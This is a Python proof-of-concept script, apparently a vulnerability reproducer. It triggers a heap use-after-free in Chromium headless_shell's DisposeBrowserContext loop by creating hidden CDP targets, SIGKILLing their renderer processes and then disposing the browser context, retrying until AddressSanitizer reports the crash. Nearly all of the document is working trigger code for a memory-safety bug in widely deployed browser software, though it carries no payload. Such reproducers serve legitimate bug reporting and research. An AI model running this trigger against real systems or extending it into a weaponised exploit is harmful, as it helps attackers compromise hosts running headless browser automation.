#!/usr/bin/env python3
"""
POC: headless_shell browser-process UAF in
HeadlessDevToolsManagerDelegate::DisposeBrowserContext.

The disposal loop snapshots all HeadlessWebContents in a browser context into
a std::vector<HeadlessWebContents*> of bare pointers and calls the virtual
Close() on each. Closing page A synchronously force-detaches A's DevTools
session, whose ~HeadlessDevToolsSession runs headless::TargetHandler::Disable().
That handler closes every "hidden" target the session created. If the hidden
target's renderer is dead, RenderFrameHostImpl::ClosePage falls through to the
synchronous ClosePageIgnoringUnloadEvents -> WebContentsImpl::Close ->
HeadlessWebContentsImpl::Delegate::CloseContents path, which frees the sibling
HeadlessWebContentsImpl while the outer for-loop still holds a raw pointer to
it. The next loop iteration performs a virtual call through freed memory.

The CDP client below acts as a *benign* automation driver (Puppeteer/Playwright
shape) using only documented commands. The "web adversary" contribution -
crashing the renderer - is simulated here by SIGKILLing the renderer process,
which is exactly the state a renderer-controlling adversary can reach.

Usage:
    python3 poc.py [/path/to/headless_shell]
"""

import fcntl
import json
import os
import select
import signal
import subprocess
import sys
import time

DEFAULT_BINARY = "/chromium/chromium/src/out/asan/headless_shell"
NUM_HIDDEN = 24  # number of hidden siblings B_i
MAX_ATTEMPTS = 8  # iteration order is unordered_map hash of WebContents*


class CDPPipe:
    """Minimal CDP-over-pipe client (NUL-delimited JSON on fd 3/4)."""

    def __init__(self, write_fd, read_fd):
        self._w = write_fd
        self._r = read_fd
        self._buf = b""
        self._next_id = 1
        self._pending = {}
        self._events = []

    def send(self, method, params=None, session_id=None, timeout=20):
        cid = self._next_id
        self._next_id += 1
        msg = {"id": cid, "method": method, "params": params or {}}
        if session_id is not None:
            msg["sessionId"] = session_id
        data = json.dumps(msg).encode("utf-8") + b"\x00"
        os.write(self._w, data)
        deadline = time.time() + timeout
        while cid not in self._pending:
            if time.time() > deadline:
                raise TimeoutError(f"timeout waiting for {method}")
            self._pump(deadline - time.time())
        resp = self._pending.pop(cid)
        if "error" in resp:
            raise RuntimeError(f"{method} -> {resp['error']}")
        return resp.get("result", {})

    def send_nowait(self, method, params=None, session_id=None):
        cid = self._next_id
        self._next_id += 1
        msg = {"id": cid, "method": method, "params": params or {}}
        if session_id is not None:
            msg["sessionId"] = session_id
        os.write(self._w, json.dumps(msg).encode("utf-8") + b"\x00")
        return cid

    def wait_event(self, method, pred=None, timeout=20):
        deadline = time.time() + timeout
        while True:
            for i, ev in enumerate(self._events):
                if ev.get("method") == method and (pred is None or pred(ev)):
                    return self._events.pop(i)
            if time.time() > deadline:
                raise TimeoutError(f"timeout waiting for event {method}")
            self._pump(deadline - time.time())

    def drain(self, duration):
        deadline = time.time() + duration
        while time.time() < deadline:
            self._pump(max(0.0, deadline - time.time()))

    def _pump(self, timeout):
        r, _, _ = select.select([self._r], [], [], max(0.01, min(timeout, 1.0)))
        if not r:
            return
        try:
            chunk = os.read(self._r, 65536)
        except OSError:
            chunk = b""
        if not chunk:
            time.sleep(0.05)
            return
        self._buf += chunk
        while b"\x00" in self._buf:
            raw, self._buf = self._buf.split(b"\x00", 1)
            if not raw:
                continue
            try:
                obj = json.loads(raw)
            except Exception:
                continue
            if "id" in obj:
                self._pending[obj["id"]] = obj
            else:
                self._events.append(obj)


def find_renderer_pids(parent_pid):
    """Return PIDs of --type=renderer subprocesses under parent_pid."""
    pids = set()
    try:
        out = subprocess.check_output(
            ["ps", "-o", "pid=,ppid=,args=", "-A"], text=True
        )
    except Exception:
        return pids
    children = {}
    for line in out.splitlines():
        line = line.strip()
        if not line:
            continue
        parts = line.split(None, 2)
        if len(parts) < 3:
            continue
        try:
            pid = int(parts[0])
            ppid = int(parts[1])
        except ValueError:
            continue
        args = parts[2]
        children.setdefault(ppid, []).append((pid, args))
    # BFS from parent_pid (zygote -> renderer chain)
    stack = [parent_pid]
    seen = set()
    while stack:
        p = stack.pop()
        if p in seen:
            continue
        seen.add(p)
        for cpid, cargs in children.get(p, []):
            stack.append(cpid)
            if "--type=renderer" in cargs:
                pids.add(cpid)
    return pids


def run_once(binary, log_path):
    user_data = "/tmp/headless-poc-profile"
    subprocess.run(["rm", "-rf", user_data], check=False)

    # Pipes for CDP-over-pipe: chrome reads fd 3, writes fd 4.
    in_r, in_w = os.pipe()    # we write -> in_w, chrome reads in_r as fd 3
    out_r, out_w = os.pipe()  # chrome writes out_w as fd 4, we read out_r

    # Relocate the child-facing ends to fds 3 and 4 in *this* process so that
    # subprocess can simply inherit them via pass_fds=(3, 4). (Python's
    # close_fds runs after preexec_fn, so dup2 inside preexec_fn would be
    # undone.)
    def move_fd_above(fd, floor):
        if fd >= floor:
            return fd
        nfd = fcntl.fcntl(fd, fcntl.F_DUPFD, floor)
        os.close(fd)
        return nfd

    # Park everything at >= 10 so 3/4 are free, then place child ends at 3/4.
    in_r = move_fd_above(in_r, 10)
    in_w = move_fd_above(in_w, 10)
    out_r = move_fd_above(out_r, 10)
    out_w = move_fd_above(out_w, 10)
    os.dup2(in_r, 3)
    os.close(in_r)
    os.dup2(out_w, 4)
    os.close(out_w)
    os.set_inheritable(3, True)
    os.set_inheritable(4, True)

    log = open(log_path, "wb")

    env = dict(os.environ)
    env.setdefault(
        "ASAN_OPTIONS",
        "detect_odr_violation=0:symbolize=1:handle_abort=1:handle_sigill=1",
    )

    cmd = [
        binary,
        "--remote-debugging-pipe",
        "--no-sandbox",
        "--disable-gpu",
        "--disable-dev-shm-usage",
        "--user-data-dir=" + user_data,
        "--no-first-run",
        "about:blank",
    ]
    print("[*] launching:", " ".join(cmd))

    proc = subprocess.Popen(
        cmd,
        stdin=subprocess.DEVNULL,
        stdout=log,
        stderr=log,
        env=env,
        pass_fds=(3, 4),
    )
    os.close(3)
    os.close(4)

    cdp = CDPPipe(in_w, out_r)

    try:
        print("[*] creating browser context ...")
        ctx = cdp.send("Target.createBrowserContext")["browserContextId"]
        print("    context:", ctx)

        print("[*] creating page A in context ...")
        target_a = cdp.send(
            "Target.createTarget",
            {"url": "about:blank", "browserContextId": ctx},
        )["targetId"]
        print("    page A:", target_a)

        print("[*] attaching to page A (flatten) ...")
        session_a = cdp.send(
            "Target.attachToTarget",
            {"targetId": target_a, "flatten": True},
        )["sessionId"]
        print("    sessionA:", session_a)

        # Create hidden targets ON SESSION A so that the embedder-layer
        # headless::TargetHandler attached to session A records them in
        # hidden_web_contents_.
        print(f"[*] creating {NUM_HIDDEN} hidden targets on session A ...")
        hidden_ids = []
        for i in range(NUM_HIDDEN):
            tid = cdp.send(
                "Target.createTarget",
                {
                    "url": "about:blank",
                    "browserContextId": ctx,
                    "hidden": True,
                },
                session_id=session_a,
            )["targetId"]
            hidden_ids.append(tid)
        print("    hidden:", len(hidden_ids))

        # Give renderers a moment to come up.
        cdp.drain(1.5)

        # Web-adversary step: crash the renderers hosting the hidden targets so
        # that IsRenderFrameLive() is false and ClosePage takes the synchronous
        # ClosePageIgnoringUnloadEvents path. (In an actual attack the
        # adversary-controlled page would crash its own renderer.)
        print("[*] killing renderer subprocesses (simulated renderer crash) ...")
        killed = 0
        for _ in range(3):
            pids = find_renderer_pids(proc.pid)
            for pid in pids:
                try:
                    os.kill(pid, signal.SIGKILL)
                    killed += 1
                except ProcessLookupError:
                    pass
            time.sleep(0.4)
        print(f"    killed {killed} renderer process(es)")

        # Let the browser process observe RenderProcessGone.
        cdp.drain(1.5)

        print("[*] disposing browser context (triggers vulnerable loop) ...")
        cdp.send_nowait("Target.disposeBrowserContext", {"browserContextId": ctx})

        # Give ASAN time to crash and dump.
        for _ in range(24):
            if proc.poll() is not None:
                break
            time.sleep(0.25)
    except Exception as e:
        print("[!] CDP error:", e)
    finally:
        try:
            os.close(in_w)
        except OSError:
            pass
        try:
            os.close(out_r)
        except OSError:
            pass
        for _ in range(40):
            if proc.poll() is not None:
                break
            time.sleep(0.25)
        if proc.poll() is None:
            proc.terminate()
            try:
                proc.wait(timeout=10)
            except subprocess.TimeoutExpired:
                proc.kill()
        log.close()

    rc = proc.returncode
    print(f"[*] headless_shell exited with code {rc}")
    return rc


def main():
    binary = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_BINARY
    log_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                            "headless_shell_stderr.log")

    for attempt in range(1, MAX_ATTEMPTS + 1):
        print(f"\n=== attempt {attempt}/{MAX_ATTEMPTS} ===")
        run_once(binary, log_path)
        with open(log_path, "r", errors="replace") as f:
            text = f.read()
        if "AddressSanitizer" in text:
            print("\n========== ASAN REPORT (excerpt) ==========")
            idx = text.find("ERROR: AddressSanitizer")
            if idx < 0:
                idx = text.find("AddressSanitizer")
            print(text[idx : idx + 8000])
            print("===========================================\n")
            if "heap-use-after-free" in text:
                print("[+] heap-use-after-free triggered in browser process")
                return 0
            print("[+] AddressSanitizer error triggered")
            return 0
        print("[-] no ASAN error this attempt (unordered_map hash order); "
              "retrying ...")

    print(f"[-] no ASAN error after {MAX_ATTEMPTS} attempts; see {log_path}")
    return 1


if __name__ == "__main__":
    sys.exit(main())